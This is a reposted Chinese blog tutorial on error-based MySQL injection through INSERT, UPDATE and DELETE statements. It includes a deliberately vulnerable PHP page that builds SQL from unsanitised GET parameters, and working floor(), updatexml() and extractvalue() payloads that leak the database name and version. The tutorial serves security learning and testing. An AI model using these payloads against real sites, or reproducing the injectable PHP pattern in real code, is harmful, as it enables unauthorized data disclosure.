码迷,mamicode.com
首页 > 数据库 > 详细

MySQL三种报错注入方式下的insert,update,delete命令注入示例

时间:2021-01-07 11:53:11      阅读:0      评论:0      收藏:0      [点我收藏+]

标签:update   sso   mys   src   logs   rac   int   用户注册   签名   

select 查询数据(大部分)

  在网站应用中进行数据显示查询操作

insert 插入数据

  在网站应用中进行用户注册添加等操作

delete 删除数据

  后台管理里面删除文章删除用户等操作

update 更新数据

  数据同步缓存等操作

通过以上查询方式与网站应用的关系,可以由注入点产生地方或应用猜测到对方的SQL查询方式

注意:扫描工具一般不能扫描到insert,updata,delete命令的注入点,因为交互过程复杂,涉及到用户登录状态,用户行为交互等方面,这就需要手工测试了

 

 

模拟网站环境执行SQL命令:

本地模拟网站输入用户名

<?php
$id=$_GET[i];
$users=$_GET[u];
$pass=$_GET[p];

$sql="insert into users (id,name,password) values (‘$id‘,‘$users‘,‘$pass‘);";
echo $sql;

?>

技术图片

指定u参数即可生成插入数据库的SQL命令

同时在任意数据库中新建以下表:

技术图片

 

 

insert语句

INSERT INTO 语句用于向表格中插入新的行。

语法
INSERT INTO 表名称 VALUES (值1, 值2,....)

我们也可以指定所要插入数据的列:

INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)

 

floor()报错演示Payload:

insert插入命令:

一般出现在注册是新建昵称等插入文字的地方

本地参数u中用户名输入:

Olivia or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or 

技术图片

 

执行的完整SQL语句

insert into users (id,name,password) values (‘‘,Olivia or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or ‘‘,‘‘);

复制到SQL数据库中执行

技术图片

可以看到执行之后显示出数据库名

 

同理可推断出数据库update(网站个性签名等地方)与delete(网站帖子管理等地方)命令的注入方式:

update命令
update users set passowrd=Nicky or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or ‘‘ where id=2;

数据库执行

技术图片

 

delete命令
delete from users where id=1 or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a);

技术图片

 

 

updatexml()报错演示Payload

insert命令:

技术图片

用户名输入:

Olivia or updatexml(1,concat(0x7e,(version())),0) or 

技术图片

复制去数据库执行

技术图片
可以看到把数据库的版本查询出来了

 

同理可推断出数据库update(网站个性签名等地方)与delete(网站帖子管理等地方)命令的注入方式:

update命令
update users set password=‘Olivia‘ or  updatexml(1,concat(0x7e,(version())),0) or ‘‘ where id=2;

技术图片

 
delete命令
delete from users where id=2 or updatexml(1,concat(0x7e,(version())),0) or ‘‘;

技术图片

 

 

extractvalue()报错演示Payload

insert命令:

用户名输入:

Olivia or extractvalue(1,concat(0x7e,database())) or 

技术图片

 

update命令
update users set password=‘Olivia‘ or extractvalue(1,concat(0x7e,database())) or ‘‘;

技术图片

 

delete命令
delete from users where id=1 or extractvalue(1,concat(0x7e,database())) or ‘‘;

技术图片

 

文章参考https://www.cnblogs.com/babers/articles/7252401.html

 

 

 

MySQL三种报错注入方式下的insert,update,delete命令注入示例

标签:update   sso   mys   src   logs   rac   int   用户注册   签名   

原文地址:https://www.cnblogs.com/impulse-/p/14227189.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!